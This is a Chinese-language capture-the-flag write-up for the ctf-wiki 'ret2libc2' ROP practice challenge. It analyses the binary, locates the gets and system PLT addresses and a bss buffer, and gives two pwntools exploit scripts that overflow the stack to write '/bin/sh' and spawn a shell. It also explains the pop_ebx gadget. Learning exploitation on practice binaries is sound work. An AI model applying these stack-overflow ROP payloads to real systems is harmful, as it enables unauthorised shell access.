T4 ret2libc2
2023-01-09WP
ctf-wiki 基础rop
0x01
file checksec——32-bit,开启NX
0x02
拖入IDA看看
危险函数和ret2libc1相同都是gets
不同的是这次没有/bin/sh给我们用了我还找了好久来着……
但是system函数还是有的
那我们先找出system的地址0x08048490
接下来我们得想办法弄出个/bin/sh来
由于程序已经开启NX保护,我们无法直接写入栈
所以思考在bss段写入字符串 说实话,这个地方第一次看真的怎么都想不到……
然后接下来我又不会了,怎么找到bss…….博客上好多方法看得我头晕目眩,又还不会用ROPgadget……
最后我直接在IDA里快捷键G了一下跳到了.bss段
发现里面有个buff2(设计好了的吧?),我们可以用gets函数写入/bin/sh到buff2
去找gets的地址 得到0x8048460
0x03
用gdb暴力求出偏移量
终于可以写exp了
0x04
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x804a080
payload = flat( [b'a' * 112, gets_plt, system_plt, buf2,buf2])
#先覆盖溢出,返回gets函数的地址,
#接着返回执行system函数的地址,然后传入gets函数参数buf2的地址,system函数的参数buf2
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
0x05
ctf-wiki的exp是
##!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
[‘a’ * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2]为啥还需要一个 pop_ebx呢?
好像看到有博客说是为了堆栈平衡
其实就是用了两个gadget
在调用gets函数后,把参数buf2给pop掉,这样返回地址就变成了system,就会返回到system